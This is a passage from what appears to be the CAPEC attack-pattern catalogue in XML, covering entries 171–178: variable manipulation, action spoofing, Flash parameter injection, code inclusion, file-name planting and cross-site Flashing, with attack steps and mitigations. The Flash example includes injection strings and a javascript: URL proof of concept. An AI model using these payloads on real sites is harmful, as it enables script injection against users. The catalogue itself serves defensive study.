					<Architectural_Paradigm>Web</Architectural_Paradigm>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Saumil Shah</Reference_Author>
					<Reference_Title>An Introduction to HTTP fingerprinting</Reference_Title>
					<Reference_Link>http://net-square.com/httprint/httprint_paper.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Testing for Web Application Fingerprint
						(OWASP-IG-004).</Reference_Title>
					<Reference_Publisher>OWASP</Reference_Publisher>
					<Reference_Link>http://www.owasp.org/index.php/Testing_for_Web_Application_Fingerprint_%28OWASP-IG-004%29</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>HTTP 1.1 Specification (RFC 2616)</Reference_Title>
					<Reference_Publication>IETF RFC</Reference_Publication>
					<Reference_Link>http://www.ietf.org/rfc/rfc2616.txt</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Fingerprinting</Reference_Title>
					<Reference_Publication>The web application security
						consortium</Reference_Publication>
					<Reference_Link>http://projects.webappsec.org/Fingerprinting</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Wendy Jin</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="171" Name="Variable Manipulation" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates variables used by an application to perform a
						variet of possible attacks. This can either be performed through the
						manipulation of function call parameters or by manipulating external
						variables, such as environment variables, that are used by an application.
						Changing variable values is usually undertaken as part of another attack;
						for example, a path traversal (inserting relative path modifiers) or buffer
						overflow (enlarging a variable value beyond an application's ability to
						store it).</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted application must rely on external variables (e.g. environment
						variables) or user-controlled variables (e.g. call parameters) in such a way
						that malicious manipulation of them can subvert functionality.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to manipulate the targeted variable. For some
					variables, such as URL-encoded parameters in a web call, this is very simple.
					For others, such as a system's environment variables, this can require
					additional resources or capabilities.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Range, size and value and consistency verification for any
						arguments supplied to application from external sources and devise
						appropriate error response.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Ensure that variables that should not be manipulated by a user are
						not accessible to them.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>471<!--Modification of Assumed-Immutable Data (MAID)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="173" Name="Action Spoofing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker is able to disguise one action for another and therefore trick
						a user into initiating one type of action when they intend to initiate a
						different action. For example, a user might be led to believe that clicking
						a button will submit a query, but in fact it downloads software. Attackers
						may perform this attack through social means, such as by simply convincing a
						victim to perform the action or relying on a user's natural inclination to
						do so, or through technical means, such as a clickjacking attack where a
						user sees one interface but is actually interacting with a second,
						invisible, interface.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim must be convinced into performing the decoy action.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have enough control over a user's interface to present them
					with a decoy action as well as the actual malicious action. Simple versions of
					this attack can be performed using web pages requiring only that the attacker be
					able to host (or control) content that the user visits.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>156<!--Spoofing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="174" Name="Flash Parameter Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker injects values to global parameters into a Flash movie
						embedded in an HTML document. These injected parameters are controlled
						through arguments in the URL used to access the embedding HTML document. As
						such, this is a form of HTTP parameter injection, but the abilities granted
						to the Flash document (such as access to a page's document model, including
						associated cookies) make this attack more flexible. The injected parameters
						can allow the attacker to control other objects within the Flash movie as
						well as full control over the parent document's DOM model.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Spider</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												records all instances of HTML documents that have
												embedded Flash movies. If there is an embedded Flash
												movie, he lists how to pass global parameters to the
												Flash movie from the embedding object.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use an automated tool to record all
												instances of URLs which have embedded Flash movies
												and list the parameters passing to the Flash
												movie.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website to see whether the HTML document has
												embedded Flash movies or not and list the
												parameters passing to the Flash movie.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The HTML document has embedded Flash
												movies.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>The HTML file doesn’t appear to contain
												Flash movies, but Ajax request seems possible and
												could insert Flash movies.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs which has
												embedded Flash movies and the list of parameters
												passing to the Flash movies.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine the application susceptibility
											to Flash parameter injection:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the application susceptibility to Flash
												parameter injection. For each URL identified in the
												Explore phase, the attack attempts to use various
												techniques such as DOM based, reflected, flashvars,
												persistent attacks depending on the type of
												parameter passed to the embedded Flash movie.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>When the JavaScript 'document.location'
												variable is used as part of parameter, inject ‘#’
												and payload into the parameter in the URL. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>When the name of the Flash movie is exposed
												as a form or a URL parameter, the attacker injects
												‘?’ and payload after the movie name in the URL to
												overrides some global value. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>When the arguments passed in the 'flashvars'
												attributes, the attacker injects ‘&amp;’ and
												payload in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>If some of the attributes of the
												&lt;object&gt; tag are received as parameters, the
												'flashvars' attribute is injected into the
												&lt;object&gt; tag without the creator of the Web
												page ever intending to allow arguments to be
												passed into the Flash file. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>If shared objects are used to save data that
												is entered by the user persistent Flash parameter
												injection may occur, with malicious code being
												injected into the Flash file and executed, every
												time the Flash movie is loaded.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one URL is found
												susceptible to flash parameter
												injection.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No URL is found susceptible to
												injection.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>User input must be
												sanitized according to context before reflected
												back to the user. </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The following are examples for different types of parameters passed to
							the Flash movie. 1. DOM-based Flash parameter injection &lt;object&gt;
							&lt;embed src="myFlash.swf"
							flashvars="location=http://example.com/index.htm#&amp;globalVar=e-v-i-l"&gt;
							&lt;/embed&gt; &lt;/object&gt; 2. Passing parameter in an embedded URI
							&lt;object type="application/x-shockwave-flash"
							data="myMovie.swf?globalVar=e-v-i-l" &gt; &lt;/object&gt; 3. Passing
							parameter in flashvars &lt;object type="application/x-shockwaMovie.swf"
							ve-flash" data="my
							flashvars="language=English&amp;globalVar=e-v-i-l"&gt; &lt;/object&gt;
							4. Persistent Flash Parameter Injection // Create a new shared object or
							read an existing one mySharedObject =
							SharedObject.getLocal("flashToLoad"); if (_root.flashfile == undefined)
							{ // Check whether there is a shared object saved if
							(mySharedObject.data.flash == null) { // Set a default value
							_root.flashfile = "defaultFlash.swf"; } else { // Read the flash file to
							load from the shared object _root.flashfile = mySharedObject.data.flash;
							} } // Store the flash file's name in the shared object
							mySharedObject.data.flash = _root.flashfile; // Load the flash file
							getURL(_root.flashfile); If an unsuspecting user is lured by an attacker
							to click on link like this:
							http://example.com/vulnerable.swf?flashfile=javascript:alert(document.domain)
							The result will be not merely a one-time execution of the JavaScript
							code in the victim's browser in the context of the domain with the
							vulnerable Flash file, but every time the Flash is loaded, whether by
							direct reference or embedded inside the same domain, the JavaScript will
							be executed again. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker need inject values into the global parameters to the
							Flash movie and understand the parent HTML document DOM structure. The
							attacker need be smart enough to convince the victim to his crafted
							link.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker must convince the victim to click their crafted link.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>User input must be sanitized according to context before reflected back to
						the user. The JavaScript function 'encodeURI' is not always sufficient for
						sanitizing input intended for global Flash parameters. Extreme caution
						should be taken when saving user input in Flash cookies. In such cases the
						Flash file itself will need to be fixed and recompiled, changing the name of
						the local shared objects (Flash cookies).</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable URL used as global parameter for Flash movies </Text>
			</Injection_Vector>
			<Payload>
				<Text>Crafted value for global parameter and special characters.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The embedded Flash movie and the parent HTML document.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The injected parameters can allow the attacker to get full control over
						the parent document's DOM model as well as other objects within the Flash
						movie.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>184</CWE_ID>
					<!-- Incomplete Blacklist -->
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>185</CWE_ID>
					<!-- Incorrect Regular Expression -->
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697</CWE_ID>
					<!-- Insufficient Comparison -->
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CAPEC-246</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Cross-Site Scripting using Flash</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>137<!--Parameter Injection-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/137.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>246<!--Cross-site Scripting Using Flash-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanAlsoBe</Relationship_Nature>
					<Relationship_Target_ID>460<!--HTTP Parameter Pollution (HPP)-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Yuval B., Ayal Y., Adi S.</Reference_Author>
					<Reference_Title>Flash Parameter Injection: A Security
						Advisory</Reference_Title>
					<Reference_Publication>IBM Rational Security Team</Reference_Publication>
					<Reference_PubDate>September 24, 2008</Reference_PubDate>
					<Reference_Link>http://blog.watchfire.com/FPI.pdf</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="175" Name="Code Inclusion" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a weakness in input validation on the target to force
						arbitrary code to be retrieved from a remote location and executed. This
						differs from script injection in that script injection involves the direct
						inclusion of scripting code while code inclusion involves the addition or
						replacement of a reference to a code file, which is subsequently loaded by
						the target and used as part of the code of some application. One example of
						this sort of attack is PHP file include attacks where the parameter of an
						include() function is set by a variable that an attacker is able to control.
						The result is that arbitrary code could be loaded into the PHP application
						and executed.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must include external code/libraries that are
						executed when the application runs and the attacker must be able to
						influence the specific files that get included.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim must run the targeted application, possibly using the crafted
						parameters that the attacker uses to identify the code to include.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Resources_Required>
				<Text>The attacker may need to be able to host code modules if they wish their own
					code files to be included.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="176" Name="Configuration/Environment manipulation"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates files or settings external to a target application
						which affect the behavior of that application. For example, many
						applications use external configuration files and libraries - modification
						of these entities or otherwise affecting the application's ability to use
						them would constitute a configuration/environment manipulation
						attack.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must consult external files or configuration
						controls to control its execution. All but the very simplest applications
						meet this requirement.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have the access necessary to affect the files or other
					environment items the targeted application uses for its operations.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="177"
			Name="Create files with the same name as files protected with a higher classification"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits file location algorithms in an operating system or
						application by creating a file with the same name as a protected or
						privileged file. The attacker could manipulate the system if the
						attacker-created file is trusted by the operating system or an application
						component that attempts to load the original file. Applications often load
						or include external files, such as libraries or configuration files. These
						files should be protected against malicious manipulation. However, if the
						application only uses the name of the file when locating it, an attacker may
						be able to create a file with the same name and place it in a directory that
						the application will search before the directory with the legitimate file is
						searched. Because the attacker's file is discovered first, it would be used
						by the target application. This attack can be extremely destructive if the
						referenced file is executable and/or is granted special privileges based
						solely on having a particular name.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must exclude external files. Most non-trivial
						applications meet this criterion.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target application does not verify that a located file is the one it
						was looking for through means other than the name. Many applications fail to
						perform checks of this type.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The directories the target application searches to find the included file
						include directories writable by the attacker which are searched before the
						protected directory containing the actual files. It is much less common for
						applications to meet this criterion, but if an attacker can manipulate the
						application's search path (possibly by controlling environmental variables)
						then they can force this criterion to be met.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have sufficient access to place an arbitrarily named file
					somewhere early in the application's search path.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>165<!--File Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://www.securityinnovation.com/library/attacks/implementation.shtml</Text>
					</Reference_Description>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="178" Name="Cross-Site Flashing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker is able to trick the victim into executing a Flash document
						that passes commands or calls to a Flash player browser plugin, allowing the
						attacker to exploit native Flash functionality in the client browser. This
						attack pattern occurs where an attacker can provide a crafted link to a
						Flash document (SWF file) which, when followed, will cause additional
						malicious instructions to be executed. The attacker does not need to serve
						or control the Flash document. The attack takes advantage of the fact that
						Flash files can reference external URLs. If variables that serve as URLs
						that the Flash application references can be controlled through parameters,
						then by creating a link that includes values for those parameters, an
						attacker can cause arbitrary content to be referenced and possibly executed
						by the targeted Flash application.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identification:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												records all instances of URLs (or partial URL such
												as domain) passed to a flash file (SWF).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use an automated tool to record the
												variables passed to a flash file.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how the flash file receive
												variables, e.g. JavaScript using
												SetVariable/GetVariable, HTML FlashVars param tag,
												etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use decompilers to retrieve the flash source
												code and record all user-controllable variables
												passed to a loadMovie* directive.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>A URL is passed as parameter to a flash file
												(SWF).</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>No variable appear on the URL. Even though
												none appear, the flash movie may still use them if
												they are provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Application doesn’t use variable to specify
												what URL to load remote flash movies from.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of flash files, with
												their corresponding parameters is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt to inject a remote flash
											file:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker makes use of a remotely available
												flash file (SWF) that generates a uniquely
												identifiable output when executed inside the
												targeted flash file.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Modify the variable of the SWF file that
												contains the remote movie URL to the attacker
												controlled flash file.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The attacker’s flash movie is being executed
												in the targeted movie.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>The targeted flash movie doesn’t appear to
												allow the inclusion of flash movies from untrusted
												domains (specified in the crossdomain.xml or in
												the flash movie itself).</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker’s flash movie can
												access the targeted flash movie internal
												variables</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The attacker’s flash movie
												cannot access any content of the targeted flash
												movie</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Access or Modify Flash Application
											Variables:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he targets the content of the flash
												application to steal variable content, password,
												etc.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious Flash application that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim
												browser’s flash plugin and sends document
												information to the attacker.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious Flash application that is
												injected through vectors identified during the
												Experiment Phase and takes commands from an
												attacker's server and then causes the flash
												application to execute appropriately.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the user's
												session identifiers or other type of
												credentials</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker gets the content
												of the variables used in the flash
												application</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The attacker causes the flash
												application to be remotely
												controlled</Outcome_Description>
